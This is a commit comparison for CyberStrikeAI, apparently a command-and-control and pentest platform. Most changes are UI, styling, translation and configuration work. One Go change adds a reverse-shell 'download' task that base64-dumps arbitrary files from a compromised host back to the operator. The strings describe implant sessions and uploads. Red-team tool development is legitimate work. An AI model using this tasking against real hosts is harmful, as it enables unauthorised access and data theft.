Compare commits

...

18 Commits

Author SHA1 Message Date
公明 60b0bb3252 Update config.yaml 2026-06-08 13:18:38 +08:00
公明 3b9e5f3b1c Add files via upload 2026-06-08 13:17:36 +08:00
公明 1a9694b216 Add files via upload 2026-06-08 13:08:15 +08:00
公明 a1c7e0dc7d Add files via upload 2026-06-07 20:20:41 +08:00
公明 23e08b1697 Add files via upload 2026-06-07 20:20:09 +08:00
公明 9002505569 Add files via upload 2026-06-07 20:18:36 +08:00
公明 b1aaaa79c7 Add files via upload 2026-06-07 20:17:16 +08:00
公明 4edbeb8f2d Add files via upload 2026-06-07 20:15:44 +08:00
公明 5b5a532d4f Add files via upload 2026-06-07 19:12:43 +08:00
公明 c1bd94684c Add files via upload 2026-06-07 15:35:49 +08:00
公明 8b48e5e396 Add files via upload 2026-06-07 05:11:00 +08:00
公明 c2f8ebc743 Add files via upload 2026-06-06 21:43:50 +08:00
公明 15e1a15671 Add files via upload 2026-06-05 17:57:23 +08:00
公明 5c3b157159 Add files via upload 2026-06-05 17:15:50 +08:00
公明 e5f6175277 Add files via upload 2026-06-05 16:54:25 +08:00
公明 1dc5d18fb3 Add files via upload 2026-06-05 15:21:50 +08:00
公明 00ea3d7a9c Update config.yaml 2026-06-05 15:00:17 +08:00
公明 8d48ccdfe4 Add files via upload 2026-06-05 11:41:29 +08:00
20 changed files with 1686 additions and 225 deletions
+3 -3
View File
@@ -10,7 +10,7 @@
# ============================================
# 前端显示的版本号(可选,不填则显示默认版本)
version: "v1.6.31"
version: "v1.6.32"
# 服务器配置
server:
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
@@ -310,7 +310,7 @@ roles_dir: roles # 角色配置文件目录(相对于配置文件所在目录
project:
enabled: true
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
fact_index_max_runes: 3500
fact_summary_max_runes: 240
fact_index_max_runes: 6500
fact_summary_max_runes: 2400
default_inject_deprecated: false
+1 -1
View File
@@ -17,6 +17,7 @@ require (
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
github.com/cloudwego/eino-ext/components/model/openai v0.1.13
github.com/creack/pty v1.1.24
github.com/disintegration/imaging v1.6.2
github.com/eino-contrib/jsonschema v1.0.3
github.com/gin-gonic/gin v1.9.1
github.com/google/uuid v1.6.0
@@ -49,7 +50,6 @@ require (
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
github.com/cloudwego/base64x v0.1.6 // indirect
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
github.com/disintegration/imaging v1.6.2 // indirect
github.com/dlclark/regexp2 v1.10.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/evanphx/json-patch v0.5.2 // indirect
Binary file not shown.

Before

Width:  |  Height:  |  Size: 178 KiB

After

Width:  |  Height:  |  Size: 262 KiB

+41 -2
View File
@@ -298,6 +298,12 @@ func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope)
return
}
cleaned := cleanShellOutput(output, cmd)
if TaskType(env.TaskType) == TaskTypeDownload {
if errMsg := detectDownloadShellError(cleaned); errMsg != "" {
l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "")
return
}
}
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
}
@@ -316,8 +322,8 @@ func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64,
}
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;upload/download/screenshot 这些
// 需要二进制传输的能力建议使用 http_beacon。
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;download 通过 base64 输出文本结果,
// upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
switch t {
case TaskTypeExec, TaskTypeShell:
@@ -345,6 +351,16 @@ func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool)
return "", false
}
return "cd " + shellQuote(path) + " && pwd", true
case TaskTypeDownload:
path, _ := payload["remote_path"].(string)
if strings.TrimSpace(path) == "" {
return "", false
}
q := shellQuote(path)
return fmt.Sprintf(
`f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`,
q,
), true
case TaskTypeExit:
return "exit 0", true
}
@@ -382,6 +398,29 @@ func shellQuote(s string) string {
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
}
// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。
func detectDownloadShellError(output string) string {
trimmed := strings.TrimSpace(output)
if trimmed == "" {
return ""
}
lower := strings.ToLower(trimmed)
markers := []string{
"c2_download_err:",
"no such file",
"permission denied",
"is a directory",
"cannot open",
"not a regular file",
}
for _, m := range markers {
if strings.Contains(lower, m) {
return trimmed
}
}
return ""
}
func isAddrInUse(err error) bool {
if err == nil {
return false
+43
View File
@@ -0,0 +1,43 @@
package c2
import (
"strings"
"testing"
)
func TestDetectDownloadShellError(t *testing.T) {
tests := []struct {
name string
output string
want string
}{
{name: "empty ok", output: "", want: ""},
{name: "base64 ok", output: "aGVsbG8=", want: ""},
{name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"},
{name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"},
{name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := detectDownloadShellError(tt.output)
if got != tt.want {
t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want)
}
})
}
}
func TestBuildTCPCommandDownload(t *testing.T) {
cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{
"remote_path": "/tmp/demo.txt",
})
if !ok {
t.Fatal("expected download command to be supported")
}
if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) {
t.Fatalf("command %q should contain %q", cmd, want)
}
if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") {
t.Fatalf("command should validate file before base64: %q", cmd)
}
}
+33 -27
View File
@@ -3,6 +3,7 @@ package database
import (
"database/sql"
"encoding/json"
"sort"
"strings"
"time"
@@ -500,23 +501,24 @@ type CallsTimelineBucket struct {
Failed int
}
// truncateCallsTimelineBucket 将时间截断到趋势图桶边界(本地时区,与 handler 侧 truncateToBucket 一致)
func truncateCallsTimelineBucket(t time.Time, dailyBuckets bool) time.Time {
t = t.In(time.Local)
if dailyBuckets {
y, m, d := t.Date()
return time.Date(y, m, d, 0, 0, 0, 0, time.Local)
}
return t.Truncate(time.Hour)
}
// LoadCallsTimeline 按时间范围加载调用趋势(since 起至今,含边界)
func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
var bucketExpr string
if dailyBuckets {
bucketExpr = `strftime('%Y-%m-%d 00:00:00', start_time)`
} else {
bucketExpr = `strftime('%Y-%m-%d %H:00:00', start_time)`
}
// 在 Go 侧按本地时区分桶,避免 SQLite strftime 对 UTC 存储时间分桶后再误当本地时间解析(差 8h 等问题)
query := `
SELECT ` + bucketExpr + ` AS bucket,
COUNT(*) AS total,
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
SELECT start_time,
CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END AS failed
FROM tool_executions
WHERE start_time >= ?
GROUP BY bucket
ORDER BY bucket ASC
`
rows, err := db.Query(query, since)
@@ -525,28 +527,32 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
}
defer rows.Close()
var buckets []CallsTimelineBucket
bucketMap := make(map[time.Time]struct{ total, failed int })
for rows.Next() {
var bucketStr string
var total, failed int
if err := rows.Scan(&bucketStr, &total, &failed); err != nil {
var startTime time.Time
var failed int
if err := rows.Scan(&startTime, &failed); err != nil {
db.logger.Warn("加载调用趋势失败", zap.Error(err))
continue
}
t, parseErr := time.ParseInLocation("2006-01-02 15:04:05", bucketStr, time.Local)
if parseErr != nil {
t, parseErr = time.Parse("2006-01-02 15:04:05", bucketStr)
if parseErr != nil {
db.logger.Warn("解析趋势时间桶失败", zap.String("bucket", bucketStr), zap.Error(parseErr))
continue
}
}
key := truncateCallsTimelineBucket(startTime, dailyBuckets)
entry := bucketMap[key]
entry.total++
entry.failed += failed
bucketMap[key] = entry
}
buckets := make([]CallsTimelineBucket, 0, len(bucketMap))
for bucketTime, counts := range bucketMap {
buckets = append(buckets, CallsTimelineBucket{
BucketTime: t,
Total: total,
Failed: failed,
BucketTime: bucketTime,
Total: counts.total,
Failed: counts.failed,
})
}
sort.Slice(buckets, func(i, j int) bool {
return buckets[i].BucketTime.Before(buckets[j].BucketTime)
})
return buckets, nil
}
+14 -3
View File
@@ -56,6 +56,7 @@ func ApplyToEinoChatModelConfig(cfg *einoopenai.ChatModelConfig, oa *config.Open
}
if mode == "off" {
applyThinkingDisabled(cfg)
return
}
effort := effectiveEffort(sr, client, allowClient)
@@ -185,11 +186,21 @@ func resolveWireProfile(oa *config.OpenAIConfig, sr *config.OpenAIReasoningConfi
}
}
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
if mode == "off" {
func applyThinkingDisabled(cfg *einoopenai.ChatModelConfig) {
if cfg == nil {
return
}
if cfg.ExtraFields == nil {
cfg.ExtraFields = make(map[string]any)
}
if _, exists := cfg.ExtraFields["thinking"]; exists {
return
}
cfg.ExtraFields["thinking"] = map[string]any{"type": "disabled"}
}
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
if mode == "auto" || mode == "on" {
if cfg.ExtraFields == nil {
cfg.ExtraFields = make(map[string]any)
+16
View File
@@ -49,6 +49,22 @@ func TestApplyOpenAICompat_xhighExtraField(t *testing.T) {
}
}
func TestApplyReasoningOff_disablesThinking(t *testing.T) {
cfg := &einoopenai.ChatModelConfig{}
oa := &config.OpenAIConfig{
BaseURL: "https://api.openai.com/v1",
Model: "gpt-4o",
Reasoning: config.OpenAIReasoningConfig{
Mode: "off",
},
}
ApplyToEinoChatModelConfig(cfg, oa, nil)
th, ok := cfg.ExtraFields["thinking"].(map[string]any)
if !ok || th["type"] != "disabled" {
t.Fatalf("expected thinking disabled, got %#v", cfg.ExtraFields)
}
}
func TestApplyOpenAICompat_maxPassthrough(t *testing.T) {
cfg := &einoopenai.ChatModelConfig{}
oa := &config.OpenAIConfig{
+222 -8
View File
@@ -772,6 +772,66 @@
border: 1px solid var(--c2-border);
}
#c2-file-upload-btn.is-disabled,
#c2-file-upload-btn:disabled {
opacity: 0.5;
cursor: not-allowed;
color: var(--c2-text-dim, #94a3b8);
border-color: var(--c2-border, #e2e8f0);
}
.c2-file-upload-hint {
font-size: 12px;
color: #b45309;
background: rgba(245, 158, 11, 0.08);
border: 1px solid rgba(245, 158, 11, 0.25);
border-radius: var(--c2-radius-xs, 4px);
padding: 8px 12px;
margin: -8px 0 12px;
line-height: 1.5;
word-break: break-word;
}
.c2-file-upload-hint[hidden] {
display: none !important;
}
.c2-file-upload-progress {
display: flex;
align-items: center;
gap: 10px;
margin: -8px 0 12px;
padding: 0 4px;
}
.c2-file-upload-progress[hidden] {
display: none !important;
}
.c2-file-upload-progress-track {
flex: 1;
height: 4px;
background: var(--c2-border);
border-radius: 2px;
overflow: hidden;
}
.c2-file-upload-progress-fill {
height: 100%;
width: 0;
background: var(--c2-accent, #3b82f6);
transition: width 0.2s ease;
}
.c2-file-upload-progress-label {
font-size: 11px;
color: var(--c2-text-dim);
white-space: nowrap;
max-width: 220px;
overflow: hidden;
text-overflow: ellipsis;
}
.c2-file-list {
background: var(--c2-surface);
border-radius: var(--c2-radius);
@@ -1218,32 +1278,172 @@
Task Detail Modal
============================================================================ */
.c2-task-detail { line-height: 2; }
.c2-task-detail > div { margin-bottom: 6px; font-size: 13px; }
.c2-modal.c2-modal--wide {
max-width: 720px;
}
.c2-task-modal-header {
align-items: flex-start;
}
.c2-task-modal-heading {
display: flex;
align-items: center;
gap: 12px;
flex-wrap: wrap;
}
.c2-task-modal-heading h3 {
margin: 0;
}
.c2-task-detail {
display: flex;
flex-direction: column;
gap: 20px;
}
.c2-task-detail-grid {
display: grid;
grid-template-columns: repeat(2, minmax(0, 1fr));
gap: 12px;
}
.c2-task-kv {
display: flex;
flex-direction: column;
gap: 6px;
padding: 12px 14px;
background: var(--c2-surface-alt);
border: 1px solid var(--c2-border);
border-radius: var(--c2-radius-sm);
}
.c2-task-kv__label {
font-size: 11px;
font-weight: 600;
letter-spacing: 0.04em;
text-transform: uppercase;
color: var(--c2-text-muted);
}
.c2-task-kv__value {
font-size: 13px;
font-weight: 500;
color: var(--c2-text);
word-break: break-all;
line-height: 1.45;
}
.c2-task-kv__value--mono {
font-family: var(--c2-mono);
font-size: 12px;
color: var(--c2-text-dim);
}
.c2-task-kv__value--accent {
font-family: var(--c2-mono);
font-weight: 600;
color: var(--c2-accent);
}
.c2-task-timeline {
display: grid;
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 10px;
padding: 14px 16px;
background: linear-gradient(135deg, rgba(59, 130, 246, 0.06), rgba(59, 130, 246, 0.02));
border: 1px solid rgba(59, 130, 246, 0.14);
border-radius: var(--c2-radius-sm);
}
.c2-task-time-card {
display: flex;
flex-direction: column;
gap: 6px;
min-width: 0;
}
.c2-task-time-card:not(:last-child) {
padding-right: 10px;
border-right: 1px solid rgba(59, 130, 246, 0.12);
}
.c2-task-code-section,
.c2-task-error-section {
display: flex;
flex-direction: column;
gap: 10px;
}
.c2-task-code-header {
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
}
.c2-task-code-title {
font-size: 12px;
font-weight: 700;
letter-spacing: 0.04em;
text-transform: uppercase;
color: var(--c2-text-dim);
}
.c2-task-error {
color: var(--c2-red);
padding: 14px;
padding: 14px 16px;
background: var(--c2-red-dim);
border: 1px solid rgba(239, 68, 68, 0.15);
border-radius: var(--c2-radius-sm);
margin-top: 12px;
font-size: 13px;
line-height: 1.55;
white-space: pre-wrap;
word-break: break-word;
}
.c2-task-result pre {
.c2-task-result-pre,
.c2-task-command-pre {
background: #0f172a;
color: #e2e8f0;
padding: 16px;
padding: 14px 16px;
border-radius: var(--c2-radius-sm);
overflow-x: auto;
font-family: var(--c2-mono);
font-size: 12px;
margin-top: 8px;
max-height: 400px;
margin: 0;
max-height: 360px;
overflow-y: auto;
border: 1px solid #1e293b;
line-height: 1.6;
white-space: pre-wrap;
word-break: break-all;
}
.c2-task-command-pre {
max-height: 140px;
}
.c2-task-command-cell {
max-width: 220px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-family: var(--c2-mono);
font-size: 12px;
color: var(--c2-text-muted, #64748b);
}
.c2-task-item-compact .c2-task-command {
flex: 1;
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-family: var(--c2-mono);
font-size: 11px;
color: var(--c2-text-muted, #64748b);
}
/* ============================================================================
@@ -1277,6 +1477,11 @@
Modal
============================================================================ */
/* Toast 须高于模态遮罩 (10050),避免被 backdrop-filter 模糊 */
#c2-toast-container {
z-index: 10100 !important;
}
.c2-modal-overlay {
position: fixed;
top: 0; left: 0; right: 0; bottom: 0;
@@ -1388,4 +1593,13 @@
.c2-stats { flex-direction: column; gap: 12px; }
.c2-payload-grid { grid-template-columns: 1fr; }
.c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
.c2-task-detail-grid { grid-template-columns: 1fr; }
.c2-task-timeline { grid-template-columns: 1fr; }
.c2-task-time-card:not(:last-child) {
padding-right: 0;
padding-bottom: 10px;
border-right: none;
border-bottom: 1px solid rgba(59, 130, 246, 0.12);
}
.c2-modal.c2-modal--wide { max-width: 100%; }
}
+136 -14
View File
@@ -1217,13 +1217,6 @@ header {
user-select: none;
}
.hitl-sidebar-header-actions {
display: flex;
align-items: center;
gap: 6px;
flex-shrink: 0;
}
.hitl-sidebar-body {
overflow: hidden;
max-height: 500px;
@@ -1238,10 +1231,6 @@ header {
margin-top: 0;
}
.hitl-sidebar-collapsed .hitl-apply-btn {
display: none;
}
.hitl-sidebar-heading {
display: flex;
align-items: center;
@@ -1359,6 +1348,14 @@ header {
margin-bottom: 0;
}
.hitl-config-actions {
display: flex;
justify-content: flex-end;
margin-top: 14px;
padding-top: 12px;
border-top: 1px solid rgba(15, 23, 42, 0.06);
}
.hitl-config-label {
display: block;
font-size: 12px;
@@ -2532,8 +2529,8 @@ header {
.conversation-reasoning-card-header {
display: flex;
align-items: center;
justify-content: flex-start;
gap: 0;
justify-content: space-between;
gap: 8px;
width: 100%;
padding: 0;
margin: 0;
@@ -2548,10 +2545,34 @@ header {
border-radius: 0;
}
.conversation-reasoning-card-header:hover .conversation-reasoning-title {
.conversation-reasoning-card-header:hover .conversation-reasoning-title,
.hitl-sidebar-card-header:hover .hitl-sidebar-title {
color: var(--accent-color);
}
.sidebar-card-chevron {
flex-shrink: 0;
display: flex;
align-items: center;
justify-content: center;
color: var(--text-secondary);
transition: transform 0.2s ease, color 0.2s ease;
}
.sidebar-card-chevron svg {
display: block;
}
.conversation-reasoning-card-header:hover .sidebar-card-chevron,
.hitl-sidebar-card-header:hover .sidebar-card-chevron {
color: var(--accent-color);
}
.conversation-reasoning-card:not(.conversation-reasoning-collapsed) .conversation-reasoning-chevron,
.hitl-sidebar-card:not(.hitl-sidebar-collapsed) .hitl-sidebar-chevron {
transform: rotate(90deg);
}
.conversation-reasoning-heading {
display: flex;
align-items: center;
@@ -5535,6 +5556,80 @@ header {
padding-bottom: 0;
}
/* Skill 包内文件树:区分不可点击的文件夹与可点击的文件 */
#skill-package-tree {
flex: 0 0 240px;
max-height: 440px;
overflow: auto;
border: 1px solid var(--border-color);
border-radius: 6px;
padding: 6px 4px;
font-size: 13px;
line-height: 1.4;
}
.skill-package-tree-hint {
display: block;
font-size: 12px;
color: var(--text-muted);
margin: 4px 0 8px;
line-height: 1.45;
}
.skill-tree-row {
display: flex;
align-items: flex-start;
gap: 6px;
padding: 5px 8px;
border-radius: 4px;
margin-bottom: 1px;
min-width: 0;
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
font-size: 12px;
word-break: break-all;
line-height: 1.35;
}
.skill-tree-dir {
color: var(--text-muted);
cursor: default;
user-select: none;
font-weight: 500;
opacity: 0.88;
}
.skill-tree-dir .skill-tree-icon {
opacity: 0.65;
}
.skill-tree-file {
color: var(--text-primary);
cursor: pointer;
transition: background 0.15s ease;
}
.skill-tree-file:hover {
background: rgba(0, 102, 255, 0.08);
}
.skill-tree-file.is-selected {
font-weight: 600;
background: rgba(99, 102, 241, 0.12);
color: var(--accent-color);
}
.skill-tree-icon {
flex-shrink: 0;
width: 1.15em;
text-align: center;
line-height: 1.35;
}
.skill-tree-label {
min-width: 0;
flex: 1;
}
.pagination-fixed {
background: var(--bg-primary);
margin-top: 0;
@@ -21089,6 +21184,11 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
gap: 12px;
}
/* 全局 Toast 须高于模态遮罩 (10050) */
#toast-notification-container {
z-index: 10100 !important;
}
.chat-files-toast {
position: fixed;
z-index: 1100;
@@ -22185,6 +22285,28 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
.projects-panel-toolbar--hint .projects-fact-toolbar-hint {
margin: 0;
}
#project-panel-facts .data-table--projects th:nth-child(1) { width: 20%; }
#project-panel-facts .data-table--projects th:nth-child(2) { width: 9%; }
#project-panel-facts .data-table--projects th:nth-child(3) { width: 30%; }
#project-panel-facts .data-table--projects th:nth-child(4) { width: 9%; }
#project-panel-facts .data-table--projects th:nth-child(5) { width: 10%; }
#project-panel-facts .data-table--projects th:nth-child(6) { width: 10%; }
#project-panel-facts .data-table--projects .cell-fact-key {
overflow: hidden;
max-width: 0;
}
#project-panel-facts .data-table--projects .cell-fact-category {
white-space: nowrap;
}
#project-panel-facts .projects-fact-key-chip {
display: inline-block;
max-width: 100%;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
vertical-align: top;
box-sizing: border-box;
}
#project-panel-conversations .data-table--projects th:nth-child(1),
#project-panel-conversations .data-table--projects td:nth-child(1) {
width: 48%;
+20 -1
View File
@@ -2257,6 +2257,9 @@
"descriptionPlaceholder": "Short description",
"descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
"packageFiles": "Package files",
"packageFilesHint": "Click a file to edit; folders are labels only and cannot be opened",
"folderHint": "Folder (not editable)",
"clickToEdit": "Click to edit this file",
"editingFile": "Editing",
"newFile": "New file",
"newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
@@ -2543,6 +2546,15 @@
"files": {
"parent": "Parent",
"refresh": "Refresh",
"upload": "Upload",
"uploading": "Uploading {{name}} · {{percent}}%",
"uploadOk": "Uploaded",
"uploadQueued": "Upload task queued",
"uploadPendingApproval": "Upload task pending HITL approval",
"uploadUnsupported": "Upload is not supported for this session",
"uploadCurlBeacon": "Curl beacons cannot upload files; use an HTTP Beacon",
"uploadTcpShell": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
"uploadTcpReverse": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
"loading": "Loading…",
"timeout": "Timed out loading files",
"emptyDir": "Empty directory",
@@ -2552,6 +2564,7 @@
"colActions": "Actions",
"open": "Open",
"download": "Download",
"downloadOk": "Downloaded",
"failed": "Failed"
},
"listeners": {
@@ -2668,7 +2681,7 @@
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
"toastExitSent": "Exit command sent",
"toastSessionDeleted": "Session record deleted",
"terminalWelcome": "CyberStrikeAI C2 Terminal — AI-Native Command & Control",
"terminalWelcome": "CyberStrikeAI C2 Terminal — Enter to run; ↑↓ history; Ctrl+L clear; Ctrl+C cancel input",
"termStatusReady": "Ready",
"termStatusExec": "Executing…",
"termStatusErr": "Error",
@@ -2677,6 +2690,9 @@
"termWaitTimeout": "[Timed out waiting for result]",
"termCleared": "Terminal cleared",
"termNoSelection": "No text selected",
"termWaitFinish": "Please wait for the current command to finish",
"termCtrlC": "Remote interrupt is not supported in this version",
"termQueued": "[Command queued — will run after the current task completes]",
"clearTerminal": "Clear"
},
"tasks": {
@@ -2703,6 +2719,7 @@
"colTask": "Task",
"colSession": "Session",
"colType": "Type",
"colCommand": "Command",
"colStatus": "Status",
"colDuration": "Duration",
"colCreated": "Created",
@@ -2713,6 +2730,8 @@
"labelId": "ID",
"labelSession": "Session",
"labelType": "Type",
"labelCommand": "Command",
"labelPayload": "Payload",
"labelStatus": "Status",
"labelCreated": "Created",
"labelSent": "Sent",
+20 -1
View File
@@ -2246,6 +2246,9 @@
"descriptionPlaceholder": "Skill的简短描述",
"descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)",
"packageFiles": "包内文件",
"packageFilesHint": "点击文件进行编辑;文件夹仅作分组展示,不可点击",
"folderHint": "文件夹(不可编辑)",
"clickToEdit": "点击编辑此文件",
"editingFile": "正在编辑",
"newFile": "新建文件",
"newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh",
@@ -2532,6 +2535,15 @@
"files": {
"parent": "上级目录",
"refresh": "刷新",
"upload": "上传",
"uploading": "正在上传 {{name}} · {{percent}}%",
"uploadOk": "上传成功",
"uploadQueued": "上传任务已入队",
"uploadPendingApproval": "上传任务待人机协同审批",
"uploadUnsupported": "当前会话不支持上传",
"uploadCurlBeacon": "Curl 轻量信标不支持文件上传,请使用 HTTP Beacon",
"uploadTcpShell": "当前为 TCP 反弹 Shellbash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
"uploadTcpReverse": "当前为 TCP 反弹 Shellbash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
"loading": "加载中…",
"timeout": "加载文件超时",
"emptyDir": "空目录",
@@ -2541,6 +2553,7 @@
"colActions": "操作",
"open": "打开",
"download": "下载",
"downloadOk": "下载成功",
"failed": "失败"
},
"listeners": {
@@ -2657,7 +2670,7 @@
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
"toastExitSent": "退出指令已发送",
"toastSessionDeleted": "会话记录已删除",
"terminalWelcome": "CyberStrikeAI C2 终端 — AI-Native 命令与控制",
"terminalWelcome": "CyberStrikeAI C2 终端 — 回车执行;↑↓ 历史;Ctrl+L 清屏;Ctrl+C 取消输入",
"termStatusReady": "就绪",
"termStatusExec": "执行中…",
"termStatusErr": "错误",
@@ -2666,6 +2679,9 @@
"termWaitTimeout": "[等待结果超时]",
"termCleared": "终端已清屏",
"termNoSelection": "未选中文本",
"termWaitFinish": "请等待当前命令执行完成",
"termCtrlC": "当前版本暂不支持中断远程命令",
"termQueued": "[命令已加入队列,将在当前任务完成后执行]",
"clearTerminal": "清屏"
},
"tasks": {
@@ -2692,6 +2708,7 @@
"colTask": "任务",
"colSession": "会话",
"colType": "类型",
"colCommand": "命令",
"colStatus": "状态",
"colDuration": "耗时",
"colCreated": "创建时间",
@@ -2702,6 +2719,8 @@
"labelId": "ID",
"labelSession": "会话",
"labelType": "类型",
"labelCommand": "命令",
"labelPayload": "参数",
"labelStatus": "状态",
"labelCreated": "创建时间",
"labelSent": "发送时间",
+1065 -128
View File
File diff suppressed because it is too large Load Diff
+27 -1
View File
@@ -423,10 +423,28 @@ if (typeof window !== 'undefined') {
window.updateHitlStatusUI = updateHitlStatusUI;
}
function syncHitlSidebarAriaExpanded() {
var card = document.getElementById('hitl-sidebar-card');
var toggle = document.getElementById('hitl-sidebar-toggle');
if (!card || !toggle) return;
toggle.setAttribute('aria-expanded', card.classList.contains('hitl-sidebar-collapsed') ? 'false' : 'true');
}
function closeHitlSidebarCard() {
var card = document.getElementById('hitl-sidebar-card');
if (!card || card.classList.contains('hitl-sidebar-collapsed')) return;
card.classList.add('hitl-sidebar-collapsed');
syncHitlSidebarAriaExpanded();
try {
localStorage.setItem('hitl-sidebar-collapsed', '1');
} catch (e) {}
}
function toggleHitlSidebarCard() {
var card = document.getElementById('hitl-sidebar-card');
if (!card) return;
card.classList.toggle('hitl-sidebar-collapsed');
syncHitlSidebarAriaExpanded();
try {
localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
} catch (e) {}
@@ -438,6 +456,7 @@ document.addEventListener('DOMContentLoaded', function () {
if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
card.classList.remove('hitl-sidebar-collapsed');
}
syncHitlSidebarAriaExpanded();
});
function getAgentModeLabelForValue(mode) {
@@ -7394,7 +7413,7 @@ document.addEventListener('languagechange', function () {
refreshHitlConfigByCurrentConversation();
});
// 点击外部关闭图标选择器、对话模式面板
// 点击外部关闭图标选择器、对话模式面板、侧栏折叠卡片
document.addEventListener('click', function(event) {
const picker = document.getElementById('group-icon-picker');
const iconBtn = document.getElementById('create-group-icon-btn');
@@ -7420,6 +7439,13 @@ document.addEventListener('click', function(event) {
closeChatReasoningPanel();
}
}
const hitlCard = document.getElementById('hitl-sidebar-card');
if (hitlCard && !hitlCard.classList.contains('hitl-sidebar-collapsed')) {
if (!hitlCard.contains(event.target)) {
closeHitlSidebarCard();
}
}
});
// 创建分组
+1 -1
View File
@@ -2055,7 +2055,7 @@ function showToastNotification(message, type = 'info') {
position: fixed;
top: 20px;
right: 20px;
z-index: 10000;
z-index: 10100;
display: flex;
flex-direction: column;
gap: 12px;
+7 -2
View File
@@ -3637,10 +3637,15 @@ function buildMcpTimelineSvg(points, rangeKey) {
const tickIdx = points.length <= 2
? points.map((_, i) => i)
: [0, Math.floor((points.length - 1) / 2), points.length - 1];
const xLabels = tickIdx.map((idx) => {
const xLabels = tickIdx.map((idx, ti) => {
const c = coords[idx];
const label = formatMcpTimelineLabel(c.p.t, rangeKey, locale);
return `<text class="mcp-stats-timeline-axis" x="${c.x.toFixed(2)}" y="${H - 5}" text-anchor="middle">${escapeHtml(label)}</text>`;
let anchor = 'middle';
if (tickIdx.length > 1) {
if (ti === 0) anchor = 'start';
else if (ti === tickIdx.length - 1) anchor = 'end';
}
return `<text class="mcp-stats-timeline-axis" x="${c.x.toFixed(2)}" y="${H - 5}" text-anchor="${anchor}">${escapeHtml(label)}</text>`;
}).join('');
const dots = coords.map((c) => {
+2 -2
View File
@@ -575,8 +575,8 @@ async function loadProjectFacts() {
? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>`
: '';
return `<tr>
<td><code>${keyEsc}</code>${vulnLink}</td>
<td>${formatCategoryBadge(f.category)}</td>
